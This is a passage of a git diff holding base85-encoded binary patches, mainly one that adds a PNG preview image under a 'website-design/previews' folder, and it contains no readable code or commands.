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 Xg{_UBdk3Wd#wlGb!^ahm?BD$t*?0G) literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v4-flight.png b/website-design/previews/anim2-v4-flight.png new file mode 100644 index 0000000000000000000000000000000000000000..b8c419b58f43e4c26abcf15d42c8a9142bc8d82a GIT binary patch literal 30044 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%0A^vr9f(BRudx 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 